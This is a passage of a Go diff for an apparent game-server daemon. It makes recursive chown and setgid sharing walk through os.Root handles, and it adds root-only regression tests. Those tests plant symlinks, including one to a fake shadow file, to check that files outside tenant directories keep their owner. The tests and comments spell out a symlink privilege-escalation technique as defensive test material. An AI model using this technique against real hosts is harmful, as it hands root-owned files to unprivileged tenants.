t.Parallel() + + tests := []struct { + name string + // steamCMD prepares the steamcmd directory and returns the configured + // path. + steamCMD func(t *testing.T, s *installStand) string + wantError string + wantCommand bool + }{ + { + name: "directory_in_the_work_directory", + steamCMD: func(t *testing.T, s *installStand) string { + t.Helper() + + path := filepath.Join(s.cfg.WorkPath, "steamcmd") + require.NoError(t, os.Mkdir(path, 0o755)) + + return path + }, + wantCommand: true, + }, + { + name: "directory_out_of_the_work_directory", + steamCMD: func(t *testing.T, _ *installStand) string { + t.Helper() + + return t.TempDir() + }, + wantCommand: true, + }, + { + name: "missing_directory", + steamCMD: func(_ *testing.T, s *installStand) string { + return filepath.Join(s.cfg.WorkPath, "steamcmd") + }, + wantError: "is not accessible", + }, + { + name: "symlink_out_of_the_work_directory_in_its_place", + steamCMD: func(t *testing.T, s *installStand) string { + t.Helper() + + path := filepath.Join(s.cfg.WorkPath, "steamcmd") + require.NoError(t, os.Symlink(s.outside, path)) + + return path + }, + wantError: "symlinks that lead out of it are not followed", + }, + { + name: "relative_symlink_out_of_the_work_directory_in_its_place", + steamCMD: func(t *testing.T, s *installStand) string { + t.Helper() + + path := filepath.Join(s.cfg.WorkPath, "steamcmd") + require.NoError(t, os.Symlink("../outside", path)) + + return path + }, + wantError: "symlinks that lead out of it are not followed", + }, + } + + for _, tt := range tests { + for kind := range installatorKinds { + t.Run(tt.name+"/"+kind, func(t *testing.T) { + t.Parallel() + + stand := givenInstallStand(t) + stand.cfg.SteamCMDPath = tt.steamCMD(t, stand) + + err := stand.install(kind, steamRule()) + + stand.assertOutsideUntouched(t) + + if tt.wantError != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), "steamcmd directory "+stand.cfg.SteamCMDPath) + assert.Contains(t, err.Error(), tt.wantError) + assert.Empty(t, stand.executor.command, "steamcmd is not started") + + return + } + + require.NoError(t, err) + assert.Contains(t, stand.executor.command, "+app_update 90") + assert.Equal(t, stand.cfg.SteamCMDPath, stand.executor.options.WorkDir) + }) + } + } +} + +// A download is kept in the temporary directory until it is installed. Nothing +// of it stays there, whatever becomes of the installation. +// +// Not parallel: the test points the temporary directory of the process +// elsewhere. +func TestInstallator_DownloadLeavesNothingInTheTempDir(t *testing.T) { + fixture := localRepositoryFixture(t, "game.tar.gz") + + tests := []struct { + name string + handler http.HandlerFunc + wantError string + }{ + { + name: "installed_archive", + handler: func(w http.ResponseWriter, r *http.Request) { + http.ServeFile(w, r, fixture) + }, + }, + { + name: "broken_archive", + handler: func(w http.ResponseWriter, _ *http.Request) { + _, _ = io.WriteString(w, "the page a mirror serves instead") + }, + wantError: "failed to unpack", + }, + { + name: "download_that_breaks_off", + handler: func(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Content-Length", "1048576") + _, _ = io.WriteString(w, "only the beginning") + }, + wantError: "failed to download files", + }, + { + name: "refused_download", + handler: func(w http.ResponseWriter, _ *http.Request) { + http.Error(w, "forbidden", http.StatusForbidden) + }, + wantError: `the server answered "403 Forbidden"`, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + tempDir := t.TempDir() + t.Setenv("TMPDIR", tempDir) + + repository := httptest.NewServer(tt.handler) + defer repository.Close() + + stand := givenInstallStand(t) + + err := stand.install("installer", remoteRule(repository.URL+"/game.tar.gz")) + + if tt.wantError != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantError) + } else { + require.NoError(t, err) + } + + entries, err := os.ReadDir(tempDir) + require.NoError(t, err) + assert.Empty(t, entries) + }) + } +} + +// The tests below need what the installation needs to do harm: root, and a +// game server user to hand files to. They run on a node that has the user of +// the server givenServer describes, and are skipped elsewhere. + +type fileOwnership struct { + uid int + gid int + mode os.FileMode +} + +func ownershipOf(t *testing.T, path string) fileOwnership { + t.Helper() + + info, err := os.Lstat(path) + require.NoError(t, err) + + stat, ok := info.Sys().(*syscall.Stat_t) + require.True(t, ok) + + return fileOwnership{uid: int(stat.Uid), gid: int(stat.Gid), mode: info.Mode()} +} + +// requireRootAndTenant returns the ids of the game server user, or skips the +// test where it cannot run. +func requireRootAndTenant(t *testing.T, s *installStand) (uid, gid int) { + t.Helper() + + if os.Geteuid() != 0 { + t.Skip("changing the owner of files requires root") + } + + tenant, err := user.Lookup(s.server.User()) + if err != nil { + t.Skipf("the game server user %q is not there: %v", s.server.User(), err) + } + + uid, err = strconv.Atoi(tenant.Uid) + require.NoError(t, err) + gid, err = strconv.Atoi(tenant.Gid) + require.NoError(t, err) + + return uid, gid +} + +// handOver gives the server directory to the tenant, as a first installation +// has done by the time a game server can leave anything in it. +func (s *installStand) handOver(t *testing.T, uid, gid int) { + t.Helper() + + require.NoError(t, os.Chown(s.serverDir, uid, gid)) +} + +func TestInstallatorAsRoot_InstalledTreeBelongsToTheGameServerUser(t *testing.T) { + t.Parallel() + + archive := givenTarGz(t, "game.tar.gz", + archiveEntry{name: "cstrike/"}, + archiveEntry{name: "cstrike/server.cfg", body: "hostname"}, + archiveEntry{name: "hlds_run", body: "#!/bin/sh", mode: 0o755}, + archiveEntry{name: "libSDL2.so", linkname: "libSDL2-2.0.so.0"}, + archiveEntry{name: "libSDL2-2.0.so.0", body: "ELF", mode: 0o755}, + ) + + for deliveryName, delivery := range deliveries { + for kind := range installatorKinds { + t.Run(deliveryName+"/"+kind, func(t *testing.T) { + t.Parallel() + + stand := givenInstallStand(t) + uid, gid := requireRootAndTenant(t, stand) + + err := stand.install(kind, delivery(t, archive)) + + require.NoError(t, err) + + for _, name := range []string{".", "cstrike", "cstrike/server.cfg", "hlds_run", "libSDL2.so", "libSDL2-2.0.so.0"} { + got := ownershipOf(t, filepath.Join(stand.serverDir, name)) + assert.Equal(t, uid, got.uid, name) + assert.Equal(t, gid, got.gid, name) + } + + assert.Zero(t, ownershipOf(t, stand.cfg.WorkPath).uid, "the work directory is not handed over") + }) + } + } +} + +func TestInstallatorAsRoot_ArchiveFileMeetsASymlink(t *testing.T) { + t.Parallel() + + for deliveryName, delivery := range deliveries { + for kind := range installatorKinds { + t.Run(deliveryName+"/"+kind, func(t *testing.T) { + t.Parallel() + + stand := givenInstallStand(t) + uid, gid := requireRootAndTenant(t, stand) + stand.handOver(t, uid, gid) + + link := filepath.Join(stand.serverDir, "game_file_from_tar_gz") + require.NoError(t, os.Symlink(stand.secret, link)) + require.NoError(t, os.Lchown(link, uid, gid)) + + before := ownershipOf(t, stand.secret) + + err := stand.install(kind, delivery(t, localRepositoryFixture(t, "game.tar.gz"))) + + require.NoError(t, err) + stand.assertOutsideUntouched(t) + assert.Equal(t, before, ownershipOf(t, stand.secret), "the file out of the work directory keeps its owner") + assertInstalledFile(t, link, "game_file_from_tar_gz\n", 0o644) + assert.Equal(t, uid, ownershipOf(t, link).uid) + }) + } + } +} + +// A link the tenant keeps in the server directory is given to the tenant with +// the rest of the tree. What it leads to is not. +func TestInstallatorAsRoot_SymlinkInTheServerDirIsNotFollowed(t *testing.T) { + t.Parallel() + + stand := givenInstallStand(t) + uid, gid := requireRootAndTenant(t, stand) + stand.handOver(t, uid, gid) + + require.NoError(t, os.Symlink(stand.secret, filepath.Join(stand.serverDir, "kept_link_to_file"))) + require.NoError(t, os.Symlink(stand.outside, filepath.Join(stand.serverDir, "kept_link_to_dir"))) + + fileBefore := ownershipOf(t, stand.secret) + dirBefore := ownershipOf(t, stand.outside) + + err := stand.install("updater", localArchiveRule(localRepositoryFixture(t, "game.tar.gz"))) + + require.NoError(t, err) + stand.assertOutsideUntouched(t) + assert.Equal(t, fileBefore, ownershipOf(t, stand.secret)) + assert.Equal(t, dirBefore, ownershipOf(t, stand.outside)) + assert.Equal(t, uid, ownershipOf(t, filepath.Join(stand.serverDir, "kept_link_to_file")).uid) + assert.Equal(t, uid, ownershipOf(t, filepath.Join(stand.serverDir, "kept_link_to_dir")).uid) +} + +// With a symlink in place of the server directory every installation, steamcmd +// included, used to give the tree the link names to the game server user. +func TestInstallatorAsRoot_ServerDirReplacedByASymlink(t *testing.T) { + t.Parallel() + + rules := map[string]func(t *testing.T) *installationRule{ + "local_archive": func(t *testing.T) *installationRule { + t.Helper() + + return localArchiveRule(localRepositoryFixture(t, "game.tar.gz")) + }, + "steam": func(*testing.T) *installationRule { + return steamRule() + }, + } + + for ruleName, rule := range rules { + for kind := range installatorKinds { + t.Run(ruleName+"/"+kind, func(t *testing.T) { + t.Parallel() + + stand := givenInstallStand(t) + requireRootAndTenant(t, stand) + + stand.cfg.SteamCMDPath = filepath.Join(stand.cfg.WorkPath, "steamcmd") + require.NoError(t, os.Mkdir(stand.cfg.SteamCMDPath, 0o755)) + + require.NoError(t, os.Remove(stand.serverDir)) + require.NoError(t, os.Symlink(stand.outside, stand.serverDir)) + + fileBefore := ownershipOf(t, stand.secret) + dirBefore := ownershipOf(t, stand.outside) + + err := stand.install(kind, rule(t)) + + assert.Equal(t, fileBefore, ownershipOf(t, stand.secret), "the file the link leads to keeps its owner") + assert.Equal(t, dirBefore, ownershipOf(t, stand.outside), "the directory the link leads to keeps its owner") + stand.assertOutsideUntouched(t) + require.Error(t, err) + assert.Empty(t, stand.executor.command) + }) + } + } +} + +// With a symlink in place of the steamcmd directory any steamcmd installation +// used to make the tree the link names writable for the group of the game +// servers, directory by directory and file by file. +func TestInstallatorAsRoot_SteamCMDDirReplacedByASymlink(t *testing.T) { + t.Parallel() + + for kind := range installatorKinds { + t.Run(kind, func(t *testing.T) { + t.Parallel() + + stand := givenInstallStand(t) + requireRootAndTenant(t, stand) + + stand.cfg.SteamCMDPath = filepath.Join(stand.cfg.WorkPath, "steamcmd") + require.NoError(t, os.Symlink(stand.outside, stand.cfg.SteamCMDPath)) + + fileBefore := ownershipOf(t, stand.secret) + dirBefore := ownershipOf(t, stand.outside) + + err := stand.install(kind, steamRule()) + + assert.Equal(t, fileBefore, ownershipOf(t, stand.secret), "the file the link leads to keeps its group and mode") + assert.Equal(t, dirBefore, ownershipOf(t, stand.outside), "the directory the link leads to keeps its group and mode") + stand.assertOutsideUntouched(t) + require.Error(t, err) + assert.Contains(t, err.Error(), "symlinks that lead out of it are not followed") + assert.Empty(t, stand.executor.command) + }) + } +} + +func TestInstallatorAsRoot_SteamCMDDirIsSharedWithTheGameServerGroup(t *testing.T) { + t.Parallel() + + stand := givenInstallStand(t) + uid, gid := requireRootAndTenant(t, stand) + + stand.cfg.SteamCMDPath = filepath.Join(stand.cfg.WorkPath, "steamcmd") + require.NoError(t, os.MkdirAll(filepath.Join(stand.cfg.SteamCMDPath, "linux32"), 0o755)) + require.NoError(t, os.WriteFile(filepath.Join(stand.cfg.SteamCMDPath, "steamcmd.sh"), []byte("#!/bin/sh"), 0o755)) + require.NoError(t, os.Symlink(stand.secret, filepath.Join(stand.cfg.SteamCMDPath, "link"))) + + fileBefore := ownershipOf(t, stand.secret) + + err := stand.install("installer", steamRule()) + + require.NoError(t, err) + stand.assertOutsideUntouched(t) + assert.Equal(t, fileBefore, ownershipOf(t, stand.secret), "a link in the steamcmd directory is not followed") + + for _, name := range []string{".", "linux32"} { + got := ownershipOf(t, filepath.Join(stand.cfg.SteamCMDPath, name)) + assert.Equal(t, gid, got.gid, name) + assert.Zero(t, got.uid, "%s keeps its owner", name) + assert.NotZero(t, got.mode&os.ModeSetgid, "%s has to carry the setgid bit", name) + assert.Equal(t, os.FileMode(0o775), got.mode.Perm(), name) + } + + script := ownershipOf(t, filepath.Join(stand.cfg.SteamCMDPath, "steamcmd.sh")) + assert.Equal(t, gid, script.gid) + assert.Equal(t, os.FileMode(0o775), script.mode.Perm()) + + server := ownershipOf(t, stand.serverDir) + assert.Equal(t, uid, server.uid, "steamcmd installs as the game server user into a directory of its own") + assert.Equal(t, strconv.Itoa(uid), stand.executor.options.UID) + assert.Equal(t, strconv.Itoa(gid), stand.executor.options.GID) +} diff --git a/internal/app/game_server_commands/install_server_steamcmd_unix_test.go b/internal/app/game_server_commands/install_server_steamcmd_unix_test.go new file mode 100644 index 0000000..9209644 --- /dev/null +++ b/internal/app/game_server_commands/install_server_steamcmd_unix_test.go @@ -0,0 +1,144 @@ +//go:build linux || darwin + +package gameservercommands + +import ( + "os" + "path/filepath" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// Whether the steamcmd directory lies in the work directory decides how it is +// opened: through the work directory, where a symlink leading out is refused, +// or by its path. The two are configured as names, and a name need not be the +// only one a directory has. +func TestRelativeToWorkDir(t *testing.T) { + t.Parallel() + + // The layout, with no link in the names of real: + // + // real/gameap the work directory + // real/gameap/steamcmd a directory in it + // real/gameap/replaced a symlink leading out, in place of a directory + // real/gameap/linked a symlink leading out, on the way to a directory + // real/gameap-old/steamcmd a directory next to it with a name that starts the same + // real/elsewhere/steamcmd a directory out of it + // alias a symlink to real + base, err := filepath.EvalSymlinks(t.TempDir()) + require.NoError(t, err) + + real := filepath.Join(base, "real") + alias := filepath.Join(base, "alias") + + for _, dir := range []string{"gameap/steamcmd", "gameap-old/steamcmd", "elsewhere/steamcmd"} { + require.NoError(t, os.MkdirAll(filepath.Join(real, filepath.FromSlash(dir)), 0o755)) + } + + require.NoError(t, os.Symlink("../elsewhere/steamcmd", filepath.Join(real, "gameap", "replaced"))) + require.NoError(t, os.Symlink("../elsewhere", filepath.Join(real, "gameap", "linked"))) + require.NoError(t, os.Symlink("real", alias)) + + tests := []struct { + name string + workDir string + dir string + wantRel string + wantOK bool + }{ + { + name: "directory_in_the_work_directory", + workDir: filepath.Join(real, "gameap"), + dir: filepath.Join(real, "gameap", "steamcmd"), + wantRel: "steamcmd", + wantOK: true, + }, + { + name: "work_directory_itself", + workDir: filepath.Join(real, "gameap"), + dir: filepath.Join(real, "gameap"), + wantRel: ".", + wantOK: true, + }, + { + name: "directory_that_is_not_there_yet", + workDir: filepath.Join(real, "gameap"), + dir: filepath.Join(real, "gameap", "tools", "steamcmd"), + wantRel: filepath.Join("tools", "steamcmd"), + wantOK: true, + }, + { + name: "directory_out_of_the_work_directory", + workDir: filepath.Join(real, "gameap"), + dir: filepath.Join(real, "elsewhere", "steamcmd"), + }, + { + name: "directory_next_to_the_work_directory_with_a_name_that_starts_the_same", + workDir: filepath.Join(real, "gameap"), + dir: filepath.Join(real, "gameap-old", "steamcmd"), + }, + { + name: "directory_named_through_the_parent_of_the_work_directory", + workDir: filepath.Join(real, "gameap"), + dir: filepath.Join(real, "gameap", "..", "elsewhere", "steamcmd"), + }, + { + name: "work_directory_configured_through_a_symlink", + workDir: filepath.Join(alias, "gameap"), + dir: filepath.Join(real, "gameap", "steamcmd"), + wantRel: "steamcmd", + wantOK: true, + }, + { + name: "directory_configured_through_a_symlink", + workDir: filepath.Join(real, "gameap"), + dir: filepath.Join(alias, "gameap", "steamcmd"), + wantRel: "steamcmd", + wantOK: true, + }, + { + name: "both_configured_through_a_symlink", + workDir: filepath.Join(alias, "gameap"), + dir: filepath.Join(alias, "gameap", "steamcmd"), + wantRel: "steamcmd", + wantOK: true, + }, + { + name: "symlink_leading_out_in_place_of_the_directory_is_still_in_the_work_directory", + workDir: filepath.Join(real, "gameap"), + dir: filepath.Join(real, "gameap", "replaced"), + wantRel: "replaced", + wantOK: true, + }, + { + name: "symlink_leading_out_on_the_way_is_still_in_the_work_directory", + workDir: filepath.Join(real, "gameap"), + dir: filepath.Join(real, "gameap", "linked", "steamcmd"), + wantRel: filepath.Join("linked", "steamcmd"), + wantOK: true, + }, + { + name: "relative_directory", + workDir: filepath.Join(real, "gameap"), + dir: "steamcmd", + }, + { + name: "directory_is_not_configured", + workDir: filepath.Join(real, "gameap"), + dir: "", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + rel, ok := relativeToWorkDir(tt.workDir, tt.dir) + + assert.Equal(t, tt.wantOK, ok) + assert.Equal(t, tt.wantRel, rel) + }) + } +} diff --git a/internal/app/game_server_commands/os_utils_unix.go b/internal/app/game_server_commands/os_utils_unix.go index 3defbe8..3591121 100644 --- a/internal/app/game_server_commands/os_utils_unix.go +++ b/internal/app/game_server_commands/os_utils_unix.go @@ -3,23 +3,11 @@ package gameservercommands import ( - "os" "os/user" - "path/filepath" log "github.com/sirupsen/logrus" ) -func mkdirAllWithFinalPerm(path string, finalPerm os.FileMode) error { - parent := filepath.Dir(path) - if parent != "." && parent != "/" { - if err := os.MkdirAll(parent, 0755); err != nil { - return err - } - } - return os.Mkdir(path, finalPerm) -} - func isRootUser() bool { currentUser, err := user.Current() if err != nil { diff --git a/internal/app/game_server_commands/os_utils_windows.go b/internal/app/game_server_commands/os_utils_windows.go index c89c376..9ca4ded 100644 --- a/internal/app/game_server_commands/os_utils_windows.go +++ b/internal/app/game_server_commands/os_utils_windows.go @@ -3,16 +3,11 @@ package gameservercommands import ( - "os" "os/user" log "github.com/sirupsen/logrus" ) -func mkdirAllWithFinalPerm(path string, finalPerm os.FileMode) error { - return os.MkdirAll(path, finalPerm) -} - func isRootUser() bool { currentUser, err := user.Current() if err != nil { diff --git a/internal/app/osowner/owner.go b/internal/app/osowner/owner.go index 4cc943a..a59aa38 100644 --- a/internal/app/osowner/owner.go +++ b/internal/app/osowner/owner.go @@ -7,10 +7,16 @@ // cannot read them. This package wraps user.Lookup + Lchown with the // existing isRootUser/Windows no-op build constraints. // -// ApplyGroupSharedRecursive covers a different case: a single directory shared -// by several su_users (the steamcmd directory, which steamcmd self-updates). -// It keeps the owner but adds setgid + group rwx so every su_user in the -// shared group can write there. +// ApplyGroupSharedRecursiveInRoot covers a different case: a single directory +// shared by several su_users (the steamcmd directory, which steamcmd +// self-updates). It keeps the owner but adds setgid + group rwx so every +// su_user in the shared group can write there. +// +// Whatever changes a whole tree takes the *os.Root the caller opened that tree +// through, never its path. The trees in question are written by the tenants of +// the game servers, and a path is resolved anew by every call: a symlink put +// in place of the directory would hand the tree it names to the game server +// user. package osowner import ( @@ -30,9 +36,10 @@ type Options struct { UID int32 GID int32 - // Group is an optional group name used only by ApplyGroupSharedRecursive - // to override which group a shared tree (e.g. the steamcmd directory) is - // shared with. Empty falls back to User's primary group, then GID. + // Group is an optional group name used only by + // ApplyGroupSharedRecursiveInRoot to override which group a shared tree + // (e.g. the steamcmd directory) is shared with. Empty falls back to User's + // primary group, then GID. Group string } @@ -88,9 +95,10 @@ func ApplyToPath(path string, opts Options) error { return lchown(path, uid, gid) } -// ApplyRecursive chowns path and all entries below it. No-op when chown -// is not applicable (non-root daemon, empty Options, Windows). -func ApplyRecursive(path string, opts Options) error { +// ApplyRecursiveInRoot chowns the directory root is opened at and all entries +// below it (Lchown — a symlink is given the owner, never what it leads to). +// No-op when chown is not applicable (non-root daemon, empty Options, Windows). +func ApplyRecursiveInRoot(root *os.Root, opts Options) error { uid, gid, ok, err := Resolve(opts) if err != nil { return err @@ -99,7 +107,7 @@ func ApplyRecursive(path string, opts Options) error { return nil } - return chownTree(path, uid, gid) + return chownTree(root, uid, gid) } // resolveGroupID converts Options into the numeric gid that a shared tree @@ -146,12 +154,12 @@ func resolveGroupID(opts Options) (gid int, ok bool, err error) { return 0, false, nil } -// ApplyGroupSharedRecursive makes path and everything under it accessible to -// the resolved group: directories get the setgid bit plus group rwx (so -// entries created later inherit the group), files get group rw. File owner -// (user) is preserved — only the group is changed. No-op when not applicable -// (non-root daemon, no resolvable group, Windows). -func ApplyGroupSharedRecursive(path string, opts Options) error { +// ApplyGroupSharedRecursiveInRoot makes the directory root is opened at and +// everything under it accessible to the resolved group: directories get the +// setgid bit plus group rwx (so entries created later inherit the group), files +// get group rw. File owner (user) is preserved — only the group is changed. +// No-op when not applicable (non-root daemon, no resolvable group, Windows). +func ApplyGroupSharedRecursiveInRoot(root *os.Root, opts Options) error { gid, ok, err := resolveGroupID(opts) if err != nil { return err @@ -160,7 +168,7 @@ func ApplyGroupSharedRecursive(path string, opts Options) error { return nil } - return groupShareTree(path, gid) + return groupShareTree(root, gid) } // MissingSegments returns the path prefixes that do not exist on disk yet, diff --git a/internal/app/osowner/owner_test.go b/internal/app/osowner/owner_test.go index da0e356..e336fc6 100644 --- a/internal/app/osowner/owner_test.go +++ b/internal/app/osowner/owner_test.go @@ -51,6 +51,10 @@ func TestApplyToPath_EmptyOptionsIsNoop(t *testing.T) { } func TestApplyToPath_NonRootDaemonIsNoop(t *testing.T) { + if isRootUser() { + t.Skip("requires a daemon that does not run as root") + } + tempDir := t.TempDir() target := filepath.Join(tempDir, "file.txt") require.NoError(t, os.WriteFile(target, []byte("x"), 0o644)) @@ -60,16 +64,39 @@ func TestApplyToPath_NonRootDaemonIsNoop(t *testing.T) { require.NoError(t, err, "non-root daemon must not even attempt user.Lookup") } -func TestApplyRecursive_EmptyOptionsIsNoop(t *testing.T) { +func openRoot(t *testing.T, dir string) *os.Root { + t.Helper() + + root, err := os.OpenRoot(dir) + require.NoError(t, err) + t.Cleanup(func() { _ = root.Close() }) + + return root +} + +func TestApplyRecursiveInRoot_EmptyOptionsIsNoop(t *testing.T) { tempDir := t.TempDir() require.NoError(t, os.Mkdir(filepath.Join(tempDir, "a"), 0o755)) require.NoError(t, os.WriteFile(filepath.Join(tempDir, "a", "f.txt"), []byte("y"), 0o644)) - err := ApplyRecursive(tempDir, Options{}) + err := ApplyRecursiveInRoot(openRoot(t, tempDir), Options{}) require.NoError(t, err) } +func TestApplyRecursiveInRoot_NonRootDaemonIsNoop(t *testing.T) { + if isRootUser() { + t.Skip("requires a daemon that does not run as root") + } + + tempDir := t.TempDir() + require.NoError(t, os.WriteFile(filepath.Join(tempDir, "f.txt"), []byte("x"), 0o644)) + + err := ApplyRecursiveInRoot(openRoot(t, tempDir), Options{User: "nonexistentuser_4j2k9c"}) + + require.NoError(t, err, "non-root daemon must not even attempt user.Lookup") +} + func TestMissingSegments_TargetAlreadyExistsReturnsEmpty(t *testing.T) { tempDir := t.TempDir() @@ -181,6 +208,10 @@ func TestApplyToPathInRoot_EmptyOptionsIsNoop(t *testing.T) { } func TestApplyToPathInRoot_NonRootDaemonIsNoop(t *testing.T) { + if isRootUser() { + t.Skip("requires a daemon that does not run as root") + } + root, err := os.OpenRoot(t.TempDir()) require.NoError(t, err) defer root.Close() @@ -191,21 +222,25 @@ func TestApplyToPathInRoot_NonRootDaemonIsNoop(t *testing.T) { require.NoError(t, err, "non-root daemon must not even attempt user.Lookup") } -func TestApplyGroupSharedRecursive_EmptyOptionsIsNoop(t *testing.T) { +func TestApplyGroupSharedRecursiveInRoot_EmptyOptionsIsNoop(t *testing.T) { tempDir := t.TempDir() require.NoError(t, os.Mkdir(filepath.Join(tempDir, "a"), 0o755)) require.NoError(t, os.WriteFile(filepath.Join(tempDir, "a", "f.txt"), []byte("y"), 0o644)) - err := ApplyGroupSharedRecursive(tempDir, Options{}) + err := ApplyGroupSharedRecursiveInRoot(openRoot(t, tempDir), Options{}) require.NoError(t, err) } -func TestApplyGroupSharedRecursive_NonRootDaemonIsNoop(t *testing.T) { +func TestApplyGroupSharedRecursiveInRoot_NonRootDaemonIsNoop(t *testing.T) { + if isRootUser() { + t.Skip("requires a daemon that does not run as root") + } + tempDir := t.TempDir() require.NoError(t, os.WriteFile(filepath.Join(tempDir, "f.txt"), []byte("x"), 0o644)) - err := ApplyGroupSharedRecursive(tempDir, Options{ + err := ApplyGroupSharedRecursiveInRoot(openRoot(t, tempDir), Options{ User: "nonexistentuser_4j2k9c", Group: "nonexistentgroup_4j2k9c", }) @@ -213,7 +248,7 @@ func TestApplyGroupSharedRecursive_NonRootDaemonIsNoop(t *testing.T) { require.NoError(t, err, "non-root daemon must not even attempt user/group lookup") } -func TestApplyGroupSharedRecursive_SetsSetgidAndGroupBitsWhenRoot(t *testing.T) { +func TestApplyGroupSharedRecursiveInRoot_SetsSetgidAndGroupBitsWhenRoot(t *testing.T) { if !isRootUser() || runtime.GOOS == "windows" { t.Skip("requires root on a unix host") } @@ -229,7 +264,7 @@ func TestApplyGroupSharedRecursive_SetsSetgidAndGroupBitsWhenRoot(t *testing.T) file := filepath.Join(subDir, "f.txt") require.NoError(t, os.WriteFile(file, []byte("x"), 0o644)) - err = ApplyGroupSharedRecursive(tempDir, Options{Group: grp.Name}) + err = ApplyGroupSharedRecursiveInRoot(openRoot(t, tempDir), Options{Group: grp.Name}) require.NoError(t, err) dirInfo, err := os.Stat(subDir) diff --git a/internal/app/osowner/owner_unix.go b/internal/app/osowner/owner_unix.go index 1789196..79f1388 100644 --- a/internal/app/osowner/owner_unix.go +++ b/internal/app/osowner/owner_unix.go @@ -29,13 +29,7 @@ func lchownInRoot(root *os.Root, name string, uid, gid int) error { return root.Lchown(name, uid, gid) } -func chownTree(path string, uid, gid int) error { - root, err := os.OpenRoot(path) - if err != nil { - return err - } - defer root.Close() - +func chownTree(root *os.Root, uid, gid int) error { return fs.WalkDir(root.FS(), ".", func(name string, _ fs.DirEntry, walkErr error) error { if walkErr != nil { return nil @@ -45,13 +39,7 @@ func chownTree(path string, uid, gid int) error { }) } -func groupShareTree(path string, gid int) error { - root, err := os.OpenRoot(path) - if err != nil { - return err - } - defer root.Close() - +func groupShareTree(root *os.Root, gid int) error { return fs.WalkDir(root.FS(), ".", func(name string, d fs.DirEntry, walkErr error) error { if walkErr != nil { return nil diff --git a/internal/app/osowner/owner_unix_test.go b/internal/app/osowner/owner_unix_test.go new file mode 100644 index 0000000..27d4821 --- /dev/null +++ b/internal/app/osowner/owner_unix_test.go @@ -0,0 +1,140 @@ +//go:build linux || darwin + +package osowner + +import ( + "os" + "path/filepath" + "syscall" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// testOwner is an id no account of a test host has. The trees below are given +// to it by number, so no such account is needed. +const testOwner = 54321 + +type ownership struct { + uid int + gid int + mode os.FileMode +} + +func ownershipOf(t *testing.T, path string) ownership { + t.Helper() + + info, err := os.Lstat(path) + require.NoError(t, err) + + stat, ok := info.Sys().(*syscall.Stat_t) + require.True(t, ok) + + return ownership{uid: int(stat.Uid), gid: int(stat.Gid), mode: info.Mode()} +} + +// tenantTree lays out a directory a tenant writes to, with links in it that +// lead to a file and a directory the tenant has no claim to. +func tenantTree(t *testing.T) (tree, outsideDir, outsideFile string) { + t.Helper() + + base := t.TempDir() + tree = filepath.Join(base, "tree") + outsideDir = filepath.Join(base, "outside") + outsideFile = filepath.Join(outsideDir, "shadow") + + require.NoError(t, os.MkdirAll(filepath.Join(tree, "sub"), 0o755)) + require.NoError(t, os.WriteFile(filepath.Join(tree, "sub", "file.txt"), []byte("file"), 0o644)) + require.NoError(t, os.Mkdir(outsideDir, 0o700)) + require.NoError(t, os.WriteFile(outsideFile, []byte("root:!:0:0"), 0o600)) + + require.NoError(t, os.Symlink(outsideFile, filepath.Join(tree, "link_to_file"))) + require.NoError(t, os.Symlink(outsideDir, filepath.Join(tree, "link_to_dir"))) + require.NoError(t, os.Symlink("../../outside/shadow", filepath.Join(tree, "sub", "relative_link"))) + + return tree, outsideDir, outsideFile +} + +// The tree of a game server is handed to its user as root, and the tenant +// decides what the links in it point at. A link is given the owner itself; +// what it leads to is not part of the tree. +func TestApplyRecursiveInRoot_DoesNotFollowSymlinks(t *testing.T) { + if !isRootUser() { + t.Skip("changing the owner of files requires root") + } + + tree, outsideDir, outsideFile := tenantTree(t) + dirBefore := ownershipOf(t, outsideDir) + fileBefore := ownershipOf(t, outsideFile) + + err := ApplyRecursiveInRoot(openRoot(t, tree), Options{UID: testOwner, GID: testOwner}) + require.NoError(t, err) + + for _, name := range []string{".", "sub", "sub/file.txt", "link_to_file", "link_to_dir", "sub/relative_link"} { + got := ownershipOf(t, filepath.Join(tree, name)) + assert.Equal(t, testOwner, got.uid, name) + assert.Equal(t, testOwner, got.gid, name) + } + + assert.Equal(t, dirBefore, ownershipOf(t, outsideDir), "the directory a link leads to is left as it was") + assert.Equal(t, fileBefore, ownershipOf(t, outsideFile), "the file a link leads to is left as it was") +} + +// The same for the tree shared with the group of the game servers: neither the +// group nor the mode of what a link leads to is changed. +func TestApplyGroupSharedRecursiveInRoot_DoesNotFollowSymlinks(t *testing.T) { + if !isRootUser() { + t.Skip("changing the group and the mode of files requires root") + } + + tree, outsideDir, outsideFile := tenantTree(t) + dirBefore := ownershipOf(t, outsideDir) + fileBefore := ownershipOf(t, outsideFile) + + err := ApplyGroupSharedRecursiveInRoot(openRoot(t, tree), Options{GID: testOwner}) + require.NoError(t, err) + + for _, name := range []string{".", "sub"} { + got := ownershipOf(t, filepath.Join(tree, name)) + assert.Equal(t, testOwner, got.gid, name) + assert.NotZero(t, got.mode&os.ModeSetgid, "%s has to carry the setgid bit", name) + assert.Equal(t, os.FileMode(0o070), got.mode.Perm()&0o070, "%s has to be group rwx", name) + } + + file := ownershipOf(t, filepath.Join(tree, "sub", "file.txt")) + assert.Equal(t, testOwner, file.gid) + assert.Equal(t, os.FileMode(0o664), file.mode.Perm()) + + for _, name := range []string{"link_to_file", "link_to_dir", "sub/relative_link"} { + assert.Equal(t, testOwner, ownershipOf(t, filepath.Join(tree, name)).gid, name) + } + + assert.Equal(t, dirBefore, ownershipOf(t, outsideDir), "the directory a link leads to is left as it was") + assert.Equal(t, fileBefore, ownershipOf(t, outsideFile), "the file a link leads to is left as it was") +} + +// The root is where the walk starts and where it stays: a tree opened at one +// directory is not left through a link, whatever the walk meets. +func TestApplyRecursiveInRoot_StaysInsideTheRoot(t *testing.T) { + if !isRootUser() { + t.Skip("changing the owner of files requires root") + } + + base := t.TempDir() + tree := filepath.Join(base, "tree") + neighbour := filepath.Join(base, "neighbour") + + require.NoError(t, os.Mkdir(tree, 0o755)) + require.NoError(t, os.Mkdir(neighbour, 0o755)) + require.NoError(t, os.WriteFile(filepath.Join(neighbour, "secret.cfg"), []byte("rcon"), 0o600)) + require.NoError(t, 